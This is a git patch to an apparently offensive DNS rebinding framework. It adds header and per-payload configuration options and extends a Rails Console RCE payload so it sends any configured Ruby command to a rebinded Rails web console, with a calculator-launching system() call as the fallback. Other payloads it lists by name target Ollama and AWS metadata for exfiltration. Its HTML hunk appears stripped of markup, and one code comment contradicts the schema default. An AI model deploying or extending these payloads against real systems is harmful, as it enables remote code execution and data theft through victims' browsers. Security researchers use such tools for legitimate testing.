From b9088113e93398ad3e7279b7898b59cb3929580a Mon Sep 17 00:00:00 2001 From: Jonathan Leitschuh Date: Fri, 31 Jul 2026 13:40:41 -0400 Subject: [PATCH] Add configurable custom headers and per-payload config schema Payloads can now declare a JSON-schema-driven config UI (customHeaders + payloadConfig), so the manager can generate form fields for payload-specific options at runtime instead of requiring source edits. Rails Console RCE gains a configurable command/auto-execute option, and Simple Fetch Get gains a logResponse toggle, as examples. Signed-off-by: Jonathan Leitschuh --- html/manager-config.json | 32 ++++- html/manager.html | 32 ++++- html/manager.js | 199 ++++++++++++++++++++++++++++- html/payload.js | 19 ++- html/payloads/hook-and-control.js | 6 +- html/payloads/rails-console-rce.js | 39 ++++-- html/payloads/simple-fetch-get.js | 27 ++-- singularity.go | 8 +- 8 files changed, 329 insertions(+), 33 deletions(-) diff --git a/html/manager-config.json b/html/manager-config.json index 637bb5e..febd6f5 100644 --- a/html/manager-config.json +++ b/html/manager-config.json @@ -11,7 +11,18 @@ "indexToken": "thisismytesttoken", "attackPayloads": [{ "name": "Simple Fetch Get", - "ports": [] + "ports": [], + "configSchema": { + "type": "object", + "properties": { + "logResponse": { + "type": "boolean", + "title": "Log Response", + "description": "Log the response to console", + "default": true + } + } + } }, { "name": "Ollama Llama2 Exfil", "ports": [11434] @@ -32,7 +43,24 @@ "ports": [4000] }, { "name": "Rails Console RCE", - "ports": [3000] + "ports": [3000], + "configSchema": { + "type": "object", + "properties": { + "command": { + "type": "string", + "title": "Ruby Command", + "description": "Ruby command to execute in Rails console", + "default": "puts Rails.env" + }, + "autoExecute": { + "type": "boolean", + "title": "Auto Execute", + "description": "Automatically execute the command", + "default": false + } + } + } }, { "name": "AWS Metadata Exfil", "ports": [80] diff --git a/html/manager.html b/html/manager.html index caf7088..ef95963 100644 --- a/html/manager.html +++ b/html/manager.html @@ -193,7 +193,7 @@

Singularity of Origin DNS Rebinding Attack

-
@@ -201,6 +201,36 @@

Singularity of Origin DNS Rebinding Attack

+
+
+
Options
+
+
+ +
+
+ +
+
+ +
+
+ Custom headers to append to all fetch requests (JSON format). +
+
+ +
+
+
+ +
+
+
+
+
+
+ diff --git a/html/manager.js b/html/manager.js index ba0d361..56d552d 100644 --- a/html/manager.js +++ b/html/manager.js @@ -3,6 +3,7 @@ const Payload = () => { let name = null; let ports = []; + let configSchema = null; return { getName() { return name; @@ -10,9 +11,13 @@ const Payload = () => { getPorts() { return ports; }, - init(n, p) { + getConfigSchema() { + return configSchema; + }, + init(n, p, cs) { name = n; ports = p; + configSchema = cs || null; } } } @@ -35,6 +40,8 @@ const Configuration = () => { let rebindingStrategy = null; let attackMethod = null; //'iframe', or 'fetch let flushDns = null; + let customHeaders = null; + let payloadConfig = null; let rebindingSuccessFn = null; @@ -95,7 +102,7 @@ const Configuration = () => { let config = JSON.parse(d); for (let p of config.attackPayloads) { let myConfigPayload = Payload(); - myConfigPayload.init(p.name, p.ports); + myConfigPayload.init(p.name, p.ports, p.configSchema); attackPayloads.push(myConfigPayload); } attackHostDomain = config.attackHostDomain; @@ -168,6 +175,18 @@ const Configuration = () => { setAttackMethod(attackMethodName) { attackMethod = attackMethodName; }, + getCustomHeaders() { + return customHeaders; + }, + setCustomHeaders(headers) { + customHeaders = headers; + }, + getPayloadConfig() { + return payloadConfig; + }, + setPayloadConfig(config) { + payloadConfig = config; + }, setManually(configObject) { attackHostIPAddress = configObject.attackHostIPAddress; attackHostDomain = configObject.attackHostDomain; @@ -365,8 +384,171 @@ const App = () => { document.getElementById(configuration.getRebindingStrategy()).selected = true; document.getElementById('attackmethod').value = configuration.getAttackMethod(); document.getElementById('flushdns').checked = configuration.getFlushDns(); + + // Setup payload selection change handler + payloadsElement.addEventListener('change', function() { + updatePayloadConfigUI(payloadsElement.value); + }); }; + // Generate dynamic UI based on selected payload's config schema + function updatePayloadConfigUI(payloadName) { + const payloadConfigSection = document.getElementById('payloadConfigSection'); + const payloadConfigFields = document.getElementById('payloadConfigFields'); + + // Clear existing fields + payloadConfigFields.innerHTML = ''; + + // Find the selected payload + const payload = configuration.getAttackPayloads().find(p => p.getName() === payloadName); + + if (!payload || !payload.getConfigSchema()) { + payloadConfigSection.className = 'd-none'; + return; + } + + const schema = payload.getConfigSchema(); + + if (!schema.properties || Object.keys(schema.properties).length === 0) { + payloadConfigSection.className = 'd-none'; + return; + } + + // Show the section + payloadConfigSection.className = 'd-block'; + + // Generate form fields based on schema + for (const [fieldName, fieldSchema] of Object.entries(schema.properties)) { + const fieldGroup = document.createElement('div'); + fieldGroup.className = 'form-group row mb-2'; + + const labelCol = document.createElement('div'); + labelCol.className = 'col-4'; + const label = document.createElement('label'); + label.setAttribute('for', `payloadConfig_${fieldName}`); + label.textContent = fieldSchema.title || fieldName; + labelCol.appendChild(label); + + const inputCol = document.createElement('div'); + inputCol.className = 'col-4'; + + let inputElement; + + switch (fieldSchema.type) { + case 'boolean': + inputElement = document.createElement('input'); + inputElement.type = 'checkbox'; + inputElement.checked = fieldSchema.default || false; + inputElement.className = 'form-check-input'; + break; + + case 'number': + case 'integer': + inputElement = document.createElement('input'); + inputElement.type = 'number'; + inputElement.value = fieldSchema.default || 0; + inputElement.className = 'form-control'; + if (fieldSchema.minimum !== undefined) { + inputElement.min = fieldSchema.minimum; + } + if (fieldSchema.maximum !== undefined) { + inputElement.max = fieldSchema.maximum; + } + break; + + case 'string': + if (fieldSchema.enum) { + inputElement = document.createElement('select'); + inputElement.className = 'form-control'; + for (const enumValue of fieldSchema.enum) { + const option = document.createElement('option'); + option.value = enumValue; + option.text = enumValue; + if (enumValue === fieldSchema.default) { + option.selected = true; + } + inputElement.appendChild(option); + } + } else { + inputElement = document.createElement('input'); + inputElement.type = 'text'; + inputElement.value = fieldSchema.default || ''; + inputElement.className = 'form-control'; + inputElement.spellcheck = false; + } + break; + + default: + inputElement = document.createElement('input'); + inputElement.type = 'text'; + inputElement.value = fieldSchema.default || ''; + inputElement.className = 'form-control'; + } + + inputElement.id = `payloadConfig_${fieldName}`; + inputElement.setAttribute('data-field-name', fieldName); + inputElement.setAttribute('data-field-type', fieldSchema.type); + inputCol.appendChild(inputElement); + + const helpCol = document.createElement('div'); + helpCol.className = 'col-4'; + if (fieldSchema.description) { + const helpText = document.createElement('small'); + helpText.className = 'form-text text-muted'; + helpText.textContent = fieldSchema.description; + helpCol.appendChild(helpText); + } + + fieldGroup.appendChild(labelCol); + fieldGroup.appendChild(inputCol); + fieldGroup.appendChild(helpCol); + payloadConfigFields.appendChild(fieldGroup); + } + } + + // Collect payload config from UI + function collectPayloadConfig() { + const payloadConfigFields = document.getElementById('payloadConfigFields'); + const inputs = payloadConfigFields.querySelectorAll('input, select, textarea'); + const config = {}; + + for (const input of inputs) { + const fieldName = input.getAttribute('data-field-name'); + const fieldType = input.getAttribute('data-field-type'); + + if (!fieldName) continue; + + switch (fieldType) { + case 'boolean': + config[fieldName] = input.checked; + break; + case 'number': + case 'integer': + config[fieldName] = parseFloat(input.value); + break; + default: + config[fieldName] = input.value; + } + } + + return config; + } + + // Collect custom headers from UI + function collectCustomHeaders() { + const customHeadersInput = document.getElementById('customHeaders'); + if (!customHeadersInput || !customHeadersInput.value.trim()) { + return {}; + } + + try { + return JSON.parse(customHeadersInput.value); + } catch (e) { + console.error('Failed to parse custom headers:', e); + return {}; + } + } + // Helper functions to allow users inputting common IP addresses instead of hexstrings, and CNAMEs @@ -636,6 +818,13 @@ function ipToHexOrOriginal(input) { cmd: 'flushdns', param: { hostname: window.location.hostname, flushDns: configuration.getFlushDns() } }, "*"); + msg.source.postMessage({ + cmd: 'options', + param: { + headers: configuration.getCustomHeaders() || {}, + config: configuration.getPayloadConfig() || {} + } + }, "*"); configuration.setFlushDns(false); // so it run only once in autoattack. if (configuration.getAttackMethod() === 'fetch') { msg.source.postMessage({ @@ -696,6 +885,12 @@ function ipToHexOrOriginal(input) { const UiAttackWsProxyPort = document.getElementById('wsproxyport').value; configuration.setWsProxyPort(UiAttackWsProxyPort); + // Collect options + const customHeaders = collectCustomHeaders(); + configuration.setCustomHeaders(customHeaders); + + const payloadConfig = collectPayloadConfig(); + configuration.setPayloadConfig(payloadConfig); let fid = fm.addFrame(hosturl .replace("%1", ipToHexOrOriginal(document.getElementById('attackhostipaddress').value)) diff --git a/html/payload.js b/html/payload.js index b82418e..ebb2bf2 100644 --- a/html/payload.js +++ b/html/payload.js @@ -1,7 +1,18 @@ // Wrap `fetch()` API, so we can invoke it: // from the attack iframe (fetch attack method) // or from the child iframe of the attack iframe (iframe attack method) +// Custom headers will be applied to all fetch calls +let customHeaders = {}; let sooFetch = function (resource, options) { + // Merge custom headers with existing headers + if (Object.keys(customHeaders).length > 0) { + options = options || {}; + options.headers = options.headers || {}; + // Apply custom headers + for (const [key, value] of Object.entries(customHeaders)) { + options.headers[key] = value; + } + } return fetch(resource, options) }; @@ -19,6 +30,7 @@ const Rebinder = () => { let interval = 60000; let wsproxyport = 3129; let rebindingSuccess = false; + let options = { headers: {}, config: {} }; const rebindingStatusEl = document.getElementById('rebindingstatus'); @@ -39,6 +51,11 @@ const Rebinder = () => { case 'wsproxyport': wsproxyport = e.data.param; break; + case 'options': + options = e.data.param || { headers: {}, config: {} }; + customHeaders = options.headers || {}; + console.log('Received options:', options); + break; case 'flushdns': if (e.data.param.flushDns === true) { console.log('Flushing Browser DNS cache.'); @@ -157,7 +174,7 @@ const Rebinder = () => { // Terminate the attack rebindingSuccess = true; rebindingStatusEl.innerText = `DNS rebinding successful! (HTTP ${responseData.status})`; - rebindingDoneFn(payload, headers, cookie, body, wsproxyport); + rebindingDoneFn(payload, headers, cookie, body, wsproxyport, options); }) .catch(function (error) { if (error instanceof TypeError) { // We cannot establish an HTTP connection diff --git a/html/payloads/hook-and-control.js b/html/payloads/hook-and-control.js index 73630de..b212c3b 100644 --- a/html/payloads/hook-and-control.js +++ b/html/payloads/hook-and-control.js @@ -7,7 +7,9 @@ were working from the target environment. const HookAndControl = () => { // Invoked after DNS rebinding has been performed - function attack(headers, cookie, body, wsProxyPort) { + function attack(headers, cookie, body, wsProxyPort, options) { + options = options || { headers: {}, config: {} }; + if (headers !== null) { console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`); }; @@ -24,7 +26,7 @@ const HookAndControl = () => { // Invoked to determine whether the rebinded service // is the one targeted by this payload. Must return true or false. - async function isService(headers, cookie, body) { + async function isService(headers, cookie, body, options) { return false; } diff --git a/html/payloads/rails-console-rce.js b/html/payloads/rails-console-rce.js index 23efdd6..aaf076b 100644 --- a/html/payloads/rails-console-rce.js +++ b/html/payloads/rails-console-rce.js @@ -13,7 +13,14 @@ https://edgeguides.rubyonrails.org/6_0_release_notes.html#railties-notable-chang const RailsConsoleRce = () => { // Invoked after DNS rebinding has been performed - function attack(headers, cookie, body) { + function attack(headers, cookie, body, wsProxyPort, options) { + options = options || { headers: {}, config: {} }; + const config = options.config || {}; + + // Get command from config, default to Rails.env + const command = config.command || "puts Rails.env"; + const autoExecute = config.autoExecute !== false; // default is true for backwards compatibility + let myHeaders = new Headers(); sooFetch('/nonexistingpage') @@ -35,20 +42,32 @@ const RailsConsoleRce = () => { myHeaders.append("X-Requested-With", "XMLHttpRequest"); myHeaders.append("Content-Type", "application/x-www-form-urlencoded"); - sooFetch(path, { - method: 'PUT', - headers: myHeaders, - //body: "input=system(%22calc%22)" // Windows - //body: "input=system(%22open%20%2fApplications%2fCalculator.app%26%22)" // OSX - //body: "input=system(%22xcalc%26%22)" // Linux (the & (%26) is to execute the command in the background) - body: "input=system(%22open%20%2fApplications%2fCalculator.app%26xcalc%26%22)" // OSX & Linux combined ("open /Applications/Calculator.app&xcalc&") - }) + if (autoExecute) { + // Execute the configured command + const encodedCommand = encodeURIComponent(command); + console.log(`Executing command: ${command}`); + sooFetch(path, { + method: 'PUT', + headers: myHeaders, + body: `input=${encodedCommand}` + }) + } else { + // Original default behavior - open calculator + sooFetch(path, { + method: 'PUT', + headers: myHeaders, + //body: "input=system(%22calc%22)" // Windows + //body: "input=system(%22open%20%2fApplications%2fCalculator.app%26%22)" // OSX + //body: "input=system(%22xcalc%26%22)" // Linux (the & (%26) is to execute the command in the background) + body: "input=system(%22open%20%2fApplications%2fCalculator.app%26xcalc%26%22)" // OSX & Linux combined ("open /Applications/Calculator.app&xcalc&") + }) + } }) } // Invoked to determine whether the rebinded service // is the one targeted by this payload. Must return true or false. - async function isService(headers, cookie, body) { + async function isService(headers, cookie, body, options) { return sooFetch("/nonexistingpage",{ mode: 'no-cors', credentials: 'omit', diff --git a/html/payloads/simple-fetch-get.js b/html/payloads/simple-fetch-get.js index 95afe30..a8b086a 100644 --- a/html/payloads/simple-fetch-get.js +++ b/html/payloads/simple-fetch-get.js @@ -7,21 +7,26 @@ Copy the content of this file to a new .js file and add its name to the const SimpleFetchGet = () => { // Invoked after DNS rebinding has been performed - function attack(headers, cookie, body) { - if (headers !== null) { - console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`); - }; - if (cookie !== null) { - console.log(`Origin: ${window.location} headers: ${cookie}`); - }; - if (body !== null) { - console.log(`Origin: ${window.location} body:\n${body}`); - }; + function attack(headers, cookie, body, wsProxyPort, options) { + options = options || { headers: {}, config: {} }; + const config = options.config || {}; + + if (config.logResponse !== false) { // default is true + if (headers !== null) { + console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`); + }; + if (cookie !== null) { + console.log(`Origin: ${window.location} headers: ${cookie}`); + }; + if (body !== null) { + console.log(`Origin: ${window.location} body:\n${body}`); + }; + } } // Invoked to determine whether the rebinded service // is the one targeted by this payload. Must return true or false. - async function isService(headers, cookie, body) { + async function isService(headers, cookie, body, options) { return false; } diff --git a/singularity.go b/singularity.go index 6bcd6c5..db2cc31 100644 --- a/singularity.go +++ b/singularity.go @@ -629,18 +629,18 @@ func (pth *PayloadTemplateHandler) ServeHTTP(w http.ResponseWriter, r *http.Requ